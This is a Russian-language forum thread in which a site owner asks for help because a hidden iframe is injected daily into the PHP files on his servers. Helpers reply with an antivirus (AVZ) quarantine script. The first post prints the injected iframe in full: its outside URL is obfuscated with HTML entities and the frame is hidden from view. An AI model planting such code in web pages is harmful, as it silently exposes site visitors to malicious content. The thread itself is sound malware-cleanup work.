Ежедневная запись трояна в файлы php на сервере

[Marss]

Добрый день!
У меня такая проблема. Есть несколько доступов на ftp, через Windows Commander... около 10
Каждый день, я удаляю из файлов, вот такой код:

<iframe src="&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x74;&#x72;&#x61;&#x66;&#x66;&#x69;&#x63;&#x6C;&#x6F;&#x61;&#x64;&#x73;&#x2E;&#x69;&#x6E;&#x66;&#x6F;&#x2F;&#x6F;&#x75;&#x74;&#x2E;&#x70;&#x68;&#x70;&#x3F;&#x73;&#x5F;&#x69;&#x64;&#x3D;&#x32;" width=5 height=5 style="display:none"></iframe> 

Смена прав доступа на файлы не помогают, смена паролей (на фтп) тоже.
Где-то прочно троян засел..
Если сталкивался кто-то помогите, пожалуйста.

Логи прикрепил
Спасибо!

[MedvedD]

...
Логи прикрепил
Спасибо!

Лога должно быть три, один вы забыли.

[PavelA]

в AVZ выполнить скрипт и прислать полученный карантин.

begin
 ClearQuarantine;
 QuarantineFile('C:\WINDOWS\system32\ipv6monl.dll','');
end.

Плюс поискать через AVZ: wbsys.dll. Найдется, добавить в карантин.

Отправлять по Правилам, см картинки внизу.
Ссылка на отправку файлов вверху страницы. Номер темы 8197